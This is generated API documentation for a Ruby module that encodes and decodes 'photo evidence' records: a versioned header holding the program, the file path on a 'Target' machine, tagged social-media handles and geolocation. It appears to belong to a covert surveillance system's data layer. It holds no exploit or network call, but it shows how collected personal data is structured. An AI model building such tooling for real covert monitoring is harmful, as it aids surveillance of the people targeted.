Module: RCS::PhotoEvidence

Defined in:
lib/rcs-common/evidence/photo.rb

Constant Summary collapse

PHOTO_VERSION = 
2015012601

Instance Method Summary collapse

Instance Method Details

#additional_header ⇒ Object 



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# File 'lib/rcs-common/evidence/photo.rb', line 18

def additional_header
  header = StringIO.new
  header.write [PHOTO_VERSION].pack("I")

  data = {program: "iphoto",
          time: Time.now.getutc.to_i,
          path: "/Users/Target/Pictures/iPhoto Library/",
          tags: [{name: 'ciccio', handle: '1234567890', type: 'facebook'}, {name: 'pasticcio', handle: '0987654321', type: 'facebook'}],
          description: "my wonderful photo",
          place: {lat: 45.0, lon: 9.1, r: 50},
          device: '',
          target: false
          }

  header.write data.to_json

  header.string
end

#content ⇒ Object 



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# File 'lib/rcs-common/evidence/photo.rb', line 9

def content
  path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
  File.open(path, 'rb') {|f| f.read }
end

#decode_additional_header(data) ⇒ Object

Raises:



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# File 'lib/rcs-common/evidence/photo.rb', line 37

def decode_additional_header(data)
  raise EvidenceDeserializeError.new("incomplete PHOTO") if data.nil? or data.bytesize == 0

  binary = StringIO.new data

  version = binary.read(4).unpack("I").first
  raise EvidenceDeserializeError.new("invalid log version for PHOTO") unless version == PHOTO_VERSION

  ret = Hash.new
  ret[:data] = Hash.new

  data = JSON.parse(binary.read)

  ret[:da] = data['time'] if data['time'] # override the date acquired
  ret[:data][:program] = data['program']
  ret[:data][:path] = data['path']
  ret[:data][:desc] = data['description']
  ret[:data][:device] = data['device']
  ret[:data][:tags] = data['tags'] #.map {|x| x['name']}.join(", ")
  if data['place']
    ret[:data][:latitude] = data['place']['lat']
    ret[:data][:longitude] = data['place']['lon']
    ret[:data][:accuracy] = data['place']['r']

    # Adds also a "position" array field to support mongoDB 2dSphere index
    ret[:data][:position] = [ret[:data][:longitude], ret[:data][:latitude]]
  end

  # if the photo is taken from "my profile pictures"
  ret[:data][:type] = :target if data['target']

  return ret
end

#decode_content(common_info, chunks) {|info| ... } ⇒ Object

Yields:

  • (info) 


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# File 'lib/rcs-common/evidence/photo.rb', line 71

def decode_content(common_info, chunks)
  info = Hash[common_info]
  info[:data] ||= Hash.new
  info[:grid_content] = chunks.join
  yield info if block_given?
  :delete_raw
end

#generate_content ⇒ Object 



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# File 'lib/rcs-common/evidence/photo.rb', line 14

def generate_content
  [ content ]
end